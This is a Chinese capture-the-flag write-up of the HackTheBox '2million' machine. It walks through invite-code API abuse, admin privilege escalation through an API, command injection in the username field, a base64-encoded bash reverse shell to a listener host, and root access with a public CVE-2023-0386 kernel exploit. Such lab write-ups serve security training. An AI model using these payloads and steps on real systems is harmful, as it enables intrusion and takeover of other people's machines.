本次靶场目标是获取root目录下的flag
目标ip:10.129.229.66
信息收集
nmap -Pn -sC -sV 10.129.229.66
发现22和80端口,直接访问IP地址时,会跳转至域名,添加到hosts文件之后可以访问。
echo '10.129.229.66 2million.htb' | sudo tee -a /etc/hosts
cat /etc/hosts
(省略)(出现如下即为成功添加)
10.129.229.66 2million.htb
之后访问,http://2million.htb/invite F12后点network之后刷新,发现http://2million.htb/js/inviteapi.min.js,点进去发现混淆了
代码复制到de4js(de4js | JavaScript Deobfuscator and Unpacker),如下:
在浏览器console里调用makeInviteCode
函数
提示需要解密,百度一下ROT13解密
需要POST请求去/api/v1/invite/generate,burp拦截一下修改后发送,得到邀请码
发现是base64加密,解密后得到邀请码
之后正常注册。
根据已知接口的路径/api/v1/invite/generate,尝试遍历
获取管理员权限
通过/api/v1/admin/settings/update接口提升到admin权限
根据提示,添加Content-Type:application/json和数据包{}
添加email部分后发送
添加is_admin部分:
提升成admin权限
命令执行
访问/api/v1/admin/vpn/generate接口,和之前一样根据接口返回信息补全后,如下:
将username的值改成test123;id;后发现存在命令执行,这里test123是注册的用户名
getshell
先开启监听
nv -lnvp 1234
bash -i >& /dev/tcp/10.10.16.20/1234 0>&1
用base64加密,最后payload:
"username":"user;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yMC8xMjM0IDA+JjE= |base64 -d | bash;"
获取有用信息
在根目录下搜索属于admin用户组的所有文件,并且忽略/sys和/proc目录
find / -type f -group admin 2>/dev/null|grep -v /sys |grep -v /proc
cat .env
uname -a
使用ssh连接admin@2million.htb,获取user flag
权限提升(方法一)
google搜索overlayfs fuse exploit
根据exp说明提权
git clone https://github.com/xkaneiki/CVE-2023-0386
zip -r cve.zip CVE-2023-0386
scp cve.zip admin@2million.htb:/tmp
ssh上去解压
unzip cve.zip
cd /tmp/CVE-2023-0386/
make all
一个终端:
./fuse ./ovlcap/lower ./gc &
另一个终端:
./exp
Cd /root
Cat root.txt
拿到root flag
权限提升(方法二)
ldd --version
利用CVE-2023-4911